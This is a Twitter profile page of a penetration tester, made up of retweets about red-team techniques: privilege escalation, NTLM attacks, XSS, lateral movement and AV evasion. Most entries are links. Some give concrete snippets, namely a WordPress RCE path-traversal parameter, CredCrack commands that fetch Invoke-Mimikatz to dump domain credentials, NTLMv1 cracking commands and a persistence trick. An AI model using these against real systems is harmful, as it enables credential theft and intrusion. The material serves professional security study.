The man who trades freedom for security does not deserve nor will he ever receive either - OSCP | eCPPT | CRTP | CARTP | CRTO
Joined November 2011
- Tweets1.3K
- Following526
- Followers307
- Likes1.4K
Liatsis Fotios retweeted
Check out our red team's blog on 3 ways to escalate privileges and steal credentials based on real world hacking bit.ly/37pEe5l
Liatsis Fotios retweeted
NTLM reflection is back to haunt windows.
Read about Ghost Potato here (this time with a fixed link): shenaniganslabs.io/2019/11/1…
Liatsis Fotios retweeted
We are proud to launch our brand new interactive XSS cheatsheet featuring novel vectors from @garethheyes
portswigger.net/research/one…
Liatsis Fotios retweeted
Playing with the .NET Manifesto stuff @subTee spoke about at DerbyCon. Kinda nice to use as a springboard for launching TikiTorch payloads.
Liatsis Fotios retweeted
Here's a Cobaltstrike beacon being popped on a VPN client that connected to pulse secure. Will share more information later on in the week or next week with @Alyssa_Herrera_
@bad_packets Is that scary or what?
#CodeExec #CobaltStrike #RedTeam #PulseSecure
Liatsis Fotios retweeted
Lateral Movement Using Outlook’s CreateObject Method and DotNetToJScript
posts.specterops.io/lateral-…
Liatsis Fotios retweeted
10 Evil User Tricks for Bypassing Anti-Virus
blog.netspi.com/10-evil-user…
Liatsis Fotios retweeted
#redteam tip, ifu plan to persist via scheduled task, give a try to hijack this MS Office related task (got created and deleted automatically by office integrator.exe), task xml file can be edited if u have local admin (same folder host other tasks), otherwise try to mimic same
Liatsis Fotios retweeted
Invoke-ADLabDeployer. Automated deployment of Windows and Active Directory test lab networks. Useful for red and blue teams
github.com/outflanknl/Invoke…
outflank.nl/blog/2018/03/30/…
Liatsis Fotios retweeted
CVE-2019–6977 : WordPress 5.0 RCE
&meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg
medium.com/@knownsec404team/…
Liatsis Fotios retweeted
Blog post: XSS without parentheses and semi-colons by @garethheyes
portswigger.net/blog/xss-wit…
Liatsis Fotios retweeted
Cool play on the old smbexec. Give it a list of hosts, it will queries for Domain Admins, runs mimikatz in memory, output
1) git clone github.com/gojhonny/CredCrac…
2) wget raw.githubusercontent.com/ma… -O /var/www/Invoke- Mimikatz.ps1
3) ./credcrack.py -f hosts -d acme -u bob -l 192.168.1.1
Liatsis Fotios retweeted
Argument Injection Hammer Burp Suite Extension:-
Usage:-
nccgroup.trust/us/about-us/n…
Download:-
github.com/nccgroup/argument…
Liatsis Fotios retweeted
Made a video on modifying the Mimiakatz Source to avoid std AV Sig Based Detection. Its a pretty long video due to the repetitive process, and relatively simple up to the modifying a DLL Export to use ordinal loading vs named to remove a string. youtu.be/9pwMCHlNma4
Liatsis Fotios retweeted
Active Directory: Ultimate Reading Collection
social.technet.microsoft.com…
Liatsis Fotios retweeted
HOW TO EXTRACT NTLM HASH FROM NTLMv1 HASH:
STEP 1-Capture NTLMv1 hash with or without SSP using responder.
STEP 2-Download NTLMv1-Multi tool
github.com/evilmog/ntlmv1-mu…
python ntlmv1.py --nossp <ntlmv1_hash_nossp>
python ntlmv1-ssp.py --ssp <ntlmv1_hash_ssp>
Liatsis Fotios retweeted
- have NTLM hash of a DC ?
- need computer/server/dc NTLM/RC4 key ?
- ...but affraid to make silver ticket and/or DCSync (detection) ?
Use NT 3.5 protocol against a 2019 DC, because, yes: LEGACY 🤷♂️
(so old, but so good: github.com/gentilkiwi/mimika…)
Liatsis Fotios retweeted
This is the official Twitter account of the Web Security Academy - free web security training from the makers of @Burp_Suite. Follow for updates as we add new materials and labs to the Academy.
portswigger.net/web-security
Liatsis Fotios retweeted
CVE-2019-7659 - Ghost Labs , Outpost24 outpost24.com/blog/gsoap-vul…